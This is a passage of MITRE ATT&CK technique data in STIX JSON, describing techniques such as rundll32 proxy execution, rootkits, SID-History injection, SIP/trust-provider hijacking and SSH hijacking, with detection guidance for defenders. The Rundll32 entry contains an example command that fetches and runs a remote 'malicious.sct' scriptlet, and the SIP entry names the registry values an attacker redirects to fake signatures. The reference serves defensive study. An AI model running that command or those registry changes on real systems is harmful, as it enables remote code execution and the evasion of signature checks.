                "Netflow/Enclave netflow",
                "Network protocol analysis",
                "Process monitoring"
            ],
            "x_mitre_detection": "Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
            "x_mitre_network_requirements": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "command-and-control",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "lateral-movement",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:16.408Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Remote Services",
            "description": "An adversary may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.",
            "external_references": [
                {
                    "external_id": "T1021",
                    "url": "https://attack.mitre.org/techniques/T1021",
                    "source_name": "mitre-attack"
                },
                {
                    "external_id": "CAPEC-555",
                    "url": "https://capec.mitre.org/data/definitions/555.html",
                    "source_name": "capec"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_detection": "Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement.",
            "x_mitre_data_sources": [
                "Authentication logs"
            ],
            "x_mitre_system_requirements": [
                "Active remote service accepting connections and valid credentials"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "lateral-movement",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:29.858Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Remote System Discovery",
            "description": "Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used. \n\n### Windows\n\nExamples of tools and commands that acquire this information include \"ping\" or \"net view\" using [Net](https://attack.mitre.org/software/S0039).\n\n### Mac\n\nSpecific to Mac, the <code>bonjour</code> protocol to discover additional Mac-based systems within the same broadcast domain. Utilities such as \"ping\" and others can be used to gather information about remote systems.\n\n### Linux\n\nUtilities such as \"ping\" and others can be used to gather information about remote systems.",
            "external_references": [
                {
                    "external_id": "T1018",
                    "url": "https://attack.mitre.org/techniques/T1018",
                    "source_name": "mitre-attack"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Network protocol analysis",
                "Process monitoring",
                "Process use of network",
                "Process command-line parameters"
            ],
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "discovery",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:28.187Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Replication Through Removable Media",
            "description": "Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.",
            "external_references": [
                {
                    "external_id": "T1091",
                    "url": "https://attack.mitre.org/techniques/T1091",
                    "source_name": "mitre-attack"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File monitoring",
                "Data loss prevention"
            ],
            "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_system_requirements": [
                "Removable media allowed, Autorun enabled or vulnerability present that allows for code execution"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "lateral-movement",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "initial-access",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:08.977Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Rootkit",
            "description": "Rootkits are programs that hide the existence of malware by intercepting (i.e., [Hooking](https://attack.mitre.org/techniques/T1179)) and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a [Hypervisor](https://attack.mitre.org/techniques/T1062), Master Boot Record, or the [System Firmware](https://attack.mitre.org/techniques/T1019). (Citation: Wikipedia Rootkit)\n\nAdversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)",
            "external_references": [
                {
                    "external_id": "T1014",
                    "url": "https://attack.mitre.org/techniques/T1014",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Rootkit",
                    "description": "Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016.",
                    "source_name": "Wikipedia Rootkit"
                },
                {
                    "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/",
                    "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.",
                    "source_name": "CrowdStrike Linux Rootkit"
                },
                {
                    "url": "http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf",
                    "description": "Pan, M., Tsai, S. (2014). You can\u2019t see me: A Mac OS X Rootkit uses the tricks you haven't known yet. Retrieved December 21, 2017.",
                    "source_name": "BlackHat Mac OSX Rootkit"
                },
                {
                    "url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf",
                    "description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.",
                    "source_name": "Symantec Windows Rootkits"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "BIOS",
                "MBR",
                "System calls"
            ],
            "x_mitre_defense_bypassed": [
                "File monitoring",
                "Host intrusion prevention systems",
                "Process whitelisting",
                "Signature-based detection",
                "System access controls",
                "Whitelisting by file name or path",
                "Anti-virus"
            ],
            "x_mitre_detection": "Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)",
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM",
                "root"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:26.496Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Rundll32",
            "description": "The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nRundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"</code>  This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)",
            "external_references": [
                {
                    "external_id": "T1085",
                    "url": "https://attack.mitre.org/techniques/T1085",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf",
                    "description": "Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.",
                    "source_name": "Trend Micro CPL"
                },
                {
                    "url": "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/",
                    "description": "B. Ancel. (2014, August 20). Poweliks \u2013 Command Line Confusion. Retrieved March 5, 2018.",
                    "source_name": "This is Security Command Line Confusion"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File monitoring",
                "Process monitoring",
                "Process command-line parameters",
                "Binary file metadata"
            ],
            "x_mitre_contributors": [
                "Ricardo Dias",
                "Casey Smith"
            ],
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "Application whitelisting"
            ],
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_remote_support": false,
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "execution",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:06.045Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "SID-History Injection",
            "description": "The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nAdversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [Windows Admin Shares](https://attack.mitre.org/techniques/T1077), or [Windows Remote Management](https://attack.mitre.org/techniques/T1028).",
            "external_references": [
                {
                    "external_id": "T1178",
                    "url": "https://attack.mitre.org/techniques/T1178",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx",
                    "description": "Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.",
                    "source_name": "Microsoft SID"
                },
                {
                    "url": "https://msdn.microsoft.com/library/ms679833.aspx",
                    "description": "Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017.",
                    "source_name": "Microsoft SID-History Attribute"
                },
                {
                    "url": "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems",
                    "description": "Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.",
                    "source_name": "Microsoft Well Known SIDs Jun 2017"
                },
                {
                    "url": "https://technet.microsoft.com/library/ee617241.aspx",
                    "description": "Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017.",
                    "source_name": "Microsoft Get-ADUser"
                },
                {
                    "url": "https://adsecurity.org/?p=1772",
                    "description": "Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.",
                    "source_name": "AdSecurity SID History Sept 2015"
                },
                {
                    "url": "https://msdn.microsoft.com/library/ms677982.aspx",
                    "description": "Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.",
                    "source_name": "Microsoft DsAddSidHistory"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Vincent Le Toux",
                "Alain Homewood, Insomnia Security"
            ],
            "x_mitre_data_sources": [
                "API monitoring",
                "Authentication logs",
                "Windows event logs"
            ],
            "x_mitre_detection": "Examine data in user\u2019s SID-History attributes using the PowerShell Get-ADUser Cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015)\n\nMonitor Account Management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015)  (Citation: Microsoft DsAddSidHistory)\n\nMonitor Windows API calls to the <code>DsAddSidHistory</code> function. (Citation: Microsoft DsAddSidHistory)",
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "privilege-escalation",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-01-16T16:13:52.465Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--72b5ef57-325c-411b-93ca-a3ca6fa17e31",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "SIP and Trust Provider Hijacking",
            "description": "In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,  (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all  (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID}</code> that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID}</code> that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)",
            "external_references": [
                {
                    "external_id": "T1198",
                    "url": "https://attack.mitre.org/techniques/T1198",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://msdn.microsoft.com/library/ms537359.aspx",
                    "description": "Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018.",
                    "source_name": "Microsoft Authenticode"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx",
                    "description": "Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018.",
                    "source_name": "Microsoft WinVerifyTrust"
                },
                {
                    "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf",
                    "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.",
                    "source_name": "SpectorOps Subverting Trust Sept 2017"
                },
                {
                    "url": "https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/",
                    "description": "Navarro, E. (2008, July 11). SIP\u2019s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018.",
                    "source_name": "EduardosBlog SIPs July 2008"
                },
                {
                    "url": "https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files",
                    "description": "Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018.",
                    "source_name": "Microsoft Catalog Files and Signatures April 2017"
                },
                {
                    "url": "https://github.com/mattifestation/PoCSubjectInterfacePackage",
                    "description": "Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018.",
                    "source_name": "GitHub SIP POC Sept 2017"
                },
                {
                    "url": "http://www.entrust.net/knowledge-base/technote.cfm?tn=8165",
                    "description": "Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018.",
                    "source_name": "Entrust Enable CAPI2 Aug 2017"
                },
                {
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)",
                    "description": "Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018.",
                    "source_name": "Microsoft Registry Auditing Aug 2016"
                },
                {
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)",
                    "description": "Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018.",
                    "source_name": "Microsoft Audit Registry July 2012"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Matt Graeber, @mattifestation, SpecterOps"
            ],
            "x_mitre_data_sources": [
                "API monitoring",
                "Application Logs",
                "DLL monitoring",
                "Loaded DLLs",
                "Process Monitoring",
                "Windows Registry",
                "Windows event logs"
            ],
            "x_mitre_defense_bypassed": [
                "Application whitelisting",
                "Autoruns Analysis",
                "Digital Certificate Validation",
                "Process whitelisting",
                "User Mode Signature Validation"
            ],
            "x_mitre_detection": "Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nEnable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nUtilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\n\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\Providers\\Trust\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\Providers\\Trust\n\n**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1117). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \u201cHide Microsoft Entries\u201d and \u201cHide Windows Entries\u201d are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)",
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "SSH Hijacking",
            "description": "Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1184) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it injects into an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).",
            "external_references": [
                {
                    "external_id": "T1184",
                    "url": "https://attack.mitre.org/techniques/T1184",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf",
                    "description": "Adam Boileau. (2005, August 5). Trust Transience:  Post Intrusion SSH Hijacking. Retrieved December 19, 2017.",
                    "source_name": "SSHjack Blackhat"
                },
                {
                    "url": "https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking",
                    "description": "Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved December 20, 2017.",
                    "source_name": "Clockwork SSH Agent Hijacking"
                },
                {
                    "url": "https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219",
                    "description": "Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using ssh. Retrieved January 8, 2018.",
                    "source_name": "Slideshare Abusing SSH"
                },
                {
                    "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/",
                    "description": "M.L\u00e9veill\u00e9, M. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved January 8, 2018.",
                    "source_name": "Welivesecurity Ebury SSH"
                }
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            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Anastasios Pingios"
            ],
            "x_mitre_data_sources": [
                "Authentication logs"
            ],
            "x_mitre_detection": "Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.",
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "User",
                "root"
            ],
            "x_mitre_system_requirements": [
                "SSH service enabled, trust relationships configured, established connections"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "lateral-movement",
                    "kill_chain_name": "mitre-attack"
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            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-01-16T16:13:52.465Z",
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            "id": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Scheduled Task",
